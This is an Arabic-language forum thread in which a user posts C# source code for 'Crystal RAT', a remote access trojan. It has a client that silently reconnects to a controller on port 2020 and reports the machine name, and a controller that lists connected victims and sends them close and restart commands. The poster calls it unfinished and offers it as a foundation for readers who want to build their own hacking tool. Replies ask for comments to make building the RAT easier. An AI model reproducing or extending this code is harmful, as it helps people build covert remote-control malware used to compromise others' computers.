[ فكرة ] Crystal RAT [SRC]

تم تحميل الصفحة في 0,9421162 ثانية
Crystal RAT [SRC]
إنضم
8 سبتمبر 2013
المشاركات
7,724
الإعجابات
11,548
النقاط
168
الإقامة
Live.IQ(JO => JO.AMMAN)
السلام عليكم .. هذا شي كتبته اول ما بدأت أتعلم
ان شاء الله اي واحد يعرف يبني عليه شي ..

Client :

C#:
// ClientSettings Class

using System;
using System.Collections.Generic;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Windows.Forms;

namespace Client
{
    public  class ClientSettings
    {
        public Socket _Socket;
        public delegate void ReceivedEventHandler(ClientSettings cs, string received);
        public event ReceivedEventHandler Received = delegate { };
        public event EventHandler Connected = delegate { };
        public delegate void DisconnectedEventHandler(ClientSettings cs);
        public event DisconnectedEventHandler Disconnected = delegate { };
       
        public ClientSettings()
        {
            _Socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
        }
        void ReadCallBack(IAsyncResult ar)
        {
            try
            {      
            var buffer = (byte[])ar.AsyncState;
            var rec = _Socket.EndReceive(ar);
            if (rec != 0)
            {
                var data = Encoding.ASCII.GetString(buffer, 0, rec);
                Received(this, data);
            }
            else
            {
                Disconnected(this);
                    passes._Connected = false;
                return;
            }
            }
            catch (Exception x)
            {
              //  MessageBox.Show(x.Message);
                Disconnected(this);
                passes._Connected = false;
                return;
            }
        }
        void ConnectCallBack(IAsyncResult ar)
        {byte[] buffer; passes._Connected = false;

            try
            {
                _Socket.EndConnect(ar);
                passes._Connected = true;
                Connected(this, EventArgs.Empty);
                 buffer = new byte[_Socket.ReceiveBufferSize];
                _Socket.BeginReceive(buffer, 0, buffer.Length, SocketFlags.None, ReadCallBack, buffer);
                passes._Connected = true;
            }
            catch (Exception x)
            {
               // MessageBox.Show(x.Message);
                buffer = null;
                    Connect();
            }
       
        }
        void SendCallBack(IAsyncResult ar)
        {
            _Socket.EndSend(ar);
        }
        public void Connect()
        {
       
            IPEndPoint ep;
            while (!passes._Connected)
            try
            {   _Socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                 ep = new IPEndPoint(IPAddress.Parse(passes.hosts), passes.ports);
                _Socket.BeginConnect(ep, ConnectCallBack, _Socket);
                    passes._Connected = true;
            }
            catch (Exception)
            {
                    Thread.Sleep(6000);
                ep = null;
            }
        }
        public  void Send(string data)
        {
            passes._Connected = false;
         //   while (!_Connected) {
            var buffer = Encoding.ASCII.GetBytes(data);
            try
            {          
                _Socket.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, SendCallBack, buffer);
                passes._Connected = true;
            }
            catch (Exception)
            {
                passes._Connected = false;
                buffer = null;
                Connect();
            }
        //   }
        }
        void Close()
        {
          //  _Socket.Dispose();
            _Socket.Close();
        }
    }
}
---
C#:
//Main Form
using System;
using System.Windows.Forms;

namespace Client
{
    public partial class Form1 : Form
    {
       public ClientSettings Client { set; get; }
        public Form1()
        {
            Client = new ClientSettings();
            Client.Received += Client_Received;
            Client.Disconnected += Client_Disconnected;
            Client.Connected += Client_Connected;
            InitializeComponent();
        }

        private void Client_Connected(object sender, EventArgs e)
        {
            Client.Send("Connect|" + Environment.MachineName + "|Connect"); passes._Connected = true;
        }

        private void Client_Disconnected(ClientSettings cs)
        {
           // while (!passes._Connected)
            passes.hosts = "127.0.0.1";
            passes.ports = 2020;
            passes._Connected = false;
            Client.Connect();
           // MessageBox.Show("xx");
        }
        private void Client_Received(ClientSettings cs, string received)
        {
            var command = received.Split('|');
            switch (command[0])
            {
                case "DisconnectNow":
                    Application.Exit();
                    break;
            }
        }
        private void Form1_Load(object sender, EventArgs e)
        {
          //  while(!passes._Connected)
            passes.hosts = "127.0.0.1";
            passes.ports = 2020;
           // passes._Connected = false;
            Client.Connect();
       
        }
        private void button1_Click(object sender, EventArgs e)
        {
       
        }
    }
    public class passes
    {
        public static string hosts { get; set; }
        public static int ports { get; set; }
        public static bool _Connected { get; set; }

    }
}
Controller :
C#:
// Main Form

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Net.NetworkInformation;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace Crystal
{
    public partial class Form1 : Form
    {
        private readonly Listener listener;
        public List<System.Net.Sockets.Socket> clients = new List<System.Net.Sockets.Socket>();
        public void BrodCast(string data) {
            foreach (var socket in clients)
            {
                try
                {
                    socket.Send(Encoding.ASCII.GetBytes(data));
                }
                catch (Exception)
                {

                }
            }
        }
        public Form1()
        {
            FormClosing += Form1_FormClosing;
            InitializeComponent();
            listener = new Listener(2020);
            listener.SocketAccepted += Listener_SocketAccepted;
        }

        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            listener.Stop();
        }

        private void Listener_SocketAccepted(System.Net.Sockets.Socket e)
        {
            var client = new _Client(e);
            client.Recevied += Client_Recevied;
            client.Disconnected += Client_Disconnected;
            this.Invoke(() =>
            {
                string ip = client.IP.ToString().Split(':')[0];
                var itm = new ListViewItem(ip);
                itm.SubItems.Add(" ");
                itm.SubItems.Add(" ");
                itm.Tag = client;
                listView1.Items.Add(itm);
                clients.Add(e);
            });
        }

        private void Client_Disconnected(_Client sender)
        {
            this.Invoke(() =>
            {
                for (int i = 0; i < listView1.Items.Count; i++)
                {
                    var client = listView1.Items[i].Tag as _Client;
                    if (client.IP == sender.IP)
                    {
                        // textBox2.Text += "<< " + listView1.Items[i].SubItems[1].Text + " has left . ";
                        listView1.Items.RemoveAt(i);
                    }
                }
            });
        }

        private void Client_Recevied(_Client sender, byte[] data)
        {
            this.Invoke(() =>
            {
                for (int i = 0; i < listView1.Items.Count; i++)
                {
                    var client = listView1.Items[i].Tag as _Client;
                    if (client == null || client.IP != sender.IP) continue;
                    var command = Encoding.ASCII.GetString(data).Split('|');
                    switch (command[0])
                    {
                        case "Connect":
                            listView1.Items[i].SubItems[1].Text = command[1];
                            listView1.Items[i].SubItems[2].Text = command[2];
                            string users = string.Empty;
                            for (int j = 0; j < listView1.Items.Count; j++)
                            {
                                users += listView1.Items[j].SubItems[1].Text + "|";
                            }
                            break;

                    }
                }
            });
        }
         

        private void Form1_Load(object sender, EventArgs e)
        {
            listener.Start();
        }

        private void disconnectingToolStripMenuItem_Click(object sender, EventArgs e)
        {
            foreach (var client in from ListViewItem Items in listView1.SelectedItems select (_Client)Items.Tag)
            {
                client.Send("CloseItNow|");
            }
        }

        private void restartToolStripMenuItem_Click(object sender, EventArgs e)
        {
            foreach (var client in from ListViewItem Items in listView1.SelectedItems select (_Client)Items.Tag)
            {
                client.Send("RestartItNow|");
            }
        }

        private void uninstallToolStripMenuItem_Click(object sender, EventArgs e)
        {

        }
    }
}
---
C#:
// Listenner Class
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net.Sockets;
using System.Text;
using System.Threading.Tasks;

namespace Crystal
{
    class Listener
    {
        private Socket _Socket;
        public bool Listening { private set; get; }
        public int Port { private set; get; }
        public Listener(int port)
        {
            Port = port;
            _Socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
        }
        public void Start()
        {
            if (Listening) return;
            _Socket.Bind(new System.Net.IPEndPoint(0, Port));
            _Socket.Listen(0);
            _Socket.BeginAccept(CallBack, null);
            Listening = true;
        }
        public void Stop()
        {
            try
            {
                if (!Listening) return;
                _Socket.Shutdown(SocketShutdown.Both);
                _Socket.Close();
                _Socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            }
            catch (Exception)
            {

            }
         
        }
        public delegate void SocketAcceptedHandler(Socket e);
        public event SocketAcceptedHandler SocketAccepted;
        void CallBack(IAsyncResult ar) {
            try
            {
                var s = _Socket.EndAccept(ar);
                if (SocketAccepted != null) SocketAccepted(s);
                _Socket.BeginAccept(CallBack, null);
            }
            catch (Exception)
            {

            }
        }

    }
}
---
C#:
// Client Class
using System;
using System.Net;
using System.Net.Sockets;
using System.Text;

namespace Crystal
{
    class _Client
    {
        public delegate void ClientReceviedHandler(_Client sender, byte[] data);
        public delegate void ClientDisconnectedHandler(_Client sender);
        public event ClientReceviedHandler Recevied;
        public event ClientDisconnectedHandler Disconnected;
        public IPEndPoint IP { private set; get; }
        public Socket _Socket;
        public _Client(Socket accepted)
        {
            _Socket = accepted;
            IP = (IPEndPoint)_Socket.RemoteEndPoint;
            _Socket.BeginReceive(new byte[] { 0 }, 0, 0, 0, CallBack, null);
        }
        void CallBack(IAsyncResult ar)
        {
            try
            {
                _Socket.EndReceive(ar);
                var buffer = new byte[_Socket.ReceiveBufferSize];
                var rec = _Socket.Receive(buffer, buffer.Length, 0);
                if (rec < buffer.Length)
                {
                    Array.Resize(ref buffer, rec);
                }
                if (Recevied != null) { Recevied(this, buffer); }
                _Socket.BeginReceive(new byte[] { 0 }, 0, 0, 0, CallBack , null);
            }
            catch (Exception)
            {
                Close();
                if(Disconnected != null ){ Disconnected(this); }
            }
        }
        void Close()
        {
            _Socket.Dispose();
            _Socket.Close();
        }
       public void Send(string data) {
            var buffer = Encoding.ASCII.GetBytes(data);
            _Socket.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, ar => _Socket.EndSend(ar), buffer);
        }
    }
}
مدري اذا ينفع يكون رات قوي او لا لان ما كملت عليه ..
لكن أكيد قراءته تساعد الي حاب يبني برنامج اختراق خاص فيه

تحيتي للجميع
و رمضان مبارك
 
التعديل الأخير:
إنضم
8 سبتمبر 2013
المشاركات
7,724
الإعجابات
11,548
النقاط
168
الإقامة
Live.IQ(JO => JO.AMMAN)

DR.JOHNNY

Beginner Developer
rank
إنضم
7 يوليو 2016
المشاركات
137
الإعجابات
126
النقاط
73
اخي العزيز شكرا لكل ماتقدمه هنا
لكن لو وضعت تعليقات بين الاكواد ليسهل لكل
قارئ
للكود ان يبني الرات كما تقول
شكرا
 
إنضم
8 سبتمبر 2013
المشاركات
7,724
الإعجابات
11,548
النقاط
168
الإقامة
Live.IQ(JO => JO.AMMAN)
اخي العزيز شكرا لكل ماتقدمه هنا
لكن لو وضعت تعليقات بين الاكواد ليسهل لكل
قارئ
للكود ان يبني الرات كما تقول
شكرا
للأسف مثل ما قلت في البداية اخي العزيز
هذا السورس كان اول مشروع RAT شغال كتبته .. بالصدفة صار قدامي و نسخته من المشروع و لصقته في المنتدى ..
بأمانة ممكن كم حاجة الان في السورس نسيت ما فائدتها اساساً لأن الي تشوفة الان هو تعاملي الوحيد مع الـSockets من اول ما بلشت ابرمج الى الان ..
ما احتاجيت اتعلمها ابداً في شغلي لذلك عمري ما اهتميت لها لكن اجت فترة حبيت اني ابرمج رات و كذا ..
كملت الرات وقتها بشكل مبدأي لكن عطل الهارد و راح كل شي ..
هذا الي تشوفة اساس النسخة الي انتهيت منها
كل الي اقدر اضمنه ان السوكت هذا شغال بشكل جيد و ينفع يكون اساس لشي جيد ايضاً .. و هذا يكفي لأي شخص حاب يبدء بكتابه RAT اخي
 
إنضم
8 سبتمبر 2013
المشاركات
7,724
الإعجابات
11,548
النقاط
168
الإقامة
Live.IQ(JO => JO.AMMAN)
إنضم
17 أكتوبر 2015
المشاركات
532
الإعجابات
387
النقاط
63
مشاء الله عليك اخوي A M E E R تطورت في هذا المجال البارح كنت تسأل أسئلة بدائية في التشفير واليوم اصبحت خبير في هذا المجال

يعطيك العافية على الطرح ,,
 
إنضم
8 سبتمبر 2013
المشاركات
7,724
الإعجابات
11,548
النقاط
168
الإقامة
Live.IQ(JO => JO.AMMAN)
مشاء الله عليك اخوي A M E E R تطورت في هذا المجال البارح كنت تسأل أسئلة بدائية في التشفير واليوم اصبحت خبير في هذا المجال

يعطيك العافية على الطرح ,,
مافي احد في الدنيا يعرف كل شي يا صاحبي ..
اعرف شيء و اجهل اشياء ♥
 

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل